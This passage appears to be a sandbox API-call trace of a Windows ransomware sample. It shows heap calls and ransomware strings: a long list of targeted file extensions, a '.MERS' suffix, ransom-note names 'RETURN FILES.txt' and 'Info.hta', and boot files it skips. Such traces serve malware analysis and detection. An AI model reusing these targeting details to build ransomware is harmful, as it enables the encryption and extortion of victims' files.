(HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c20 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c38 [0030.589] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c50 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c68 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629c80 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629c98 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629cb0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629cc8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629ce0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629cf8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629d10 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629d28 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629d40 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629d58 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629d70 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629d88 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629da0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x6252f8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629db8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629dd0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629de8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x629fd8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e00 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629e18 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e30 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e48 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e60 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e78 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629e90 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629ea8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629ec0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629ed8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629ef0 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f08 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f20 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x629f38 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f50 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f68 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f80 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x629f98 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c478 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c490 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c4a8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x629fe8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x629ff8 [0030.590] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c4c0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c4d8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c4f0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c508 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c520 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63c538 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c550 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c568 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c580 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c598 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63c5b0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c5c8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c5e0 [0030.591] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x400) returned 0x6291a8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c5f8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c610 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63c628 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c640 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c658 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c670 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63c688 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c6a0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c6b8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c6d0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x62a008 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c6e8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63c700 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c718 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c730 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c748 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c760 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x63c778 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c790 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c7a8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c7c0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c7d8 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c7f0 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c808 [0030.591] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c820 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c838 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x62a018 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c878 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c890 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c8a8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c8c0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c8d8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c8f0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c908 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c920 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c938 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x63c950 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c968 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x63c980 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c998 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c9b0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c9c8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c9e0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63c9f8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63ca10 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ca28 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ca40 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ca58 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ca70 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ca88 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63caa0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cab8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cad0 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cae8 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb00 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb18 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb30 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb48 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb60 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb78 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cb90 [0030.592] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cba8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x63cbc0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12) returned 0x625f10 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cbd8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cbf0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cc08 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cc20 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cc38 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cc78 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cc90 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cca8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ccc0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ccd8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ccf0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd08 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd20 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd38 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd50 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd68 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd80 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cd98 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cdb0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cdc8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cde0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cdf8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63ce10 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xe) returned 0x63ce28 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63ce40 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x62a028 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ce58 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x62a038 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ce70 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63ce88 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cea0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63ceb8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63ced0 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cee8 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cf00 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cf18 [0030.593] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cf30 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cf48 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cf60 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cf78 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xc) returned 0x63cf90 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cfa8 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x8) returned 0x62a048 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cfc0 [0030.594] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xa) returned 0x63cfd8 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6291a8, Size=0x800) returned 0x63d460 [0030.594] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0030.594] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b458 | out: hHeap=0x5f0000) returned 1 [0030.594] lstrlenW (lpString="") returned 0 [0030.594] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dda0 | out: hHeap=0x5f0000) returned 1 [0030.594] lstrlenW (lpString=".MERS") returned 5 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604760, Size=0x8) returned 0x604760 [0030.594] lstrlenW (lpString=".MERS") returned 5 [0030.594] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63dda0 | out: hHeap=0x5f0000) returned 1 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63ddd0, Size=0x20) returned 0x604380 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604380, Size=0x40) returned 0x626a90 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626a90, Size=0x80) returned 0x64b460 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0b8, Size=0x8) returned 0x62a0c8 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0c8, Size=0x10) returned 0x63ddd0 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63ddd0, Size=0x20) returned 0x604358 [0030.594] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0030.594] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64b460 | out: hHeap=0x5f0000) returned 1 [0030.594] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de00, Size=0x20) returned 0x625940 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x625940, Size=0x40) returned 0x626a90 [0030.595] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0030.595] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x626a90 | out: hHeap=0x5f0000) returned 1 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de00, Size=0x20) returned 0x625940 [0030.595] lstrlenW (lpString="Info.hta") returned 8 [0030.595] lstrlenW (lpString="Info.hta") returned 8 [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x625940 | out: hHeap=0x5f0000) returned 1 [0030.595] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x65d450, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\chrome64b.exe")) returned 0x33 [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d450 | out: hHeap=0x5f0000) returned 1 [0030.595] lstrlenW (lpString="chrome64b.exe") returned 13 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x626a90 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de00, Size=0x20) returned 0x604358 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de00, Size=0x20) returned 0x6258f0 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6258f0, Size=0x40) returned 0x626ad8 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626ad8, Size=0x80) returned 0x64b460 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x63b458 [0030.595] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b458 | out: hHeap=0x5f0000) returned 1 [0030.595] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x65d450, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66d458 | out: hHeap=0x5f0000) returned 1 [0030.595] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65d450 | out: hHeap=0x5f0000) returned 1 [0030.595] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0c8, Size=0x8) returned 0x62a0b8 [0030.596] lstrlenW (lpString="%windir%;") returned 9 [0030.596] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604358 | out: hHeap=0x5f0000) returned 1 [0030.596] lstrlenW (lpString="C:\\Windows;") returned 11 [0030.596] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x64d448 | out: hHeap=0x5f0000) returned 1 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de18, Size=0x20) returned 0x604358 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604358, Size=0x40) returned 0x626ad8 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x626ad8, Size=0x80) returned 0x64b460 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x64b460, Size=0x100) returned 0x63b458 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0f8, Size=0x8) returned 0x62a108 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a108, Size=0x10) returned 0x63de60 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63de60, Size=0x20) returned 0x604358 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0c8, Size=0x8) returned 0x62a108 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0d8, Size=0x8) returned 0x62a0c8 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0f8, Size=0x8) returned 0x62a118 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a118, Size=0x10) returned 0x63df08 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63df08, Size=0x20) returned 0x6258f0 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a108, Size=0x10) returned 0x63df08 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a0c8, Size=0x10) returned 0x63df38 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a108, Size=0x8) returned 0x62a0f8 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a128, Size=0x8) returned 0x62a138 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63df08, Size=0x20) returned 0x625850 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63df38, Size=0x20) returned 0x625968 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x62a148, Size=0x8) returned 0x62a158 [0030.596] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0030.596] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63b458 | out: hHeap=0x5f0000) returned 1 [0030.596] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x63dfb0, Size=0x20) returned 0x625990 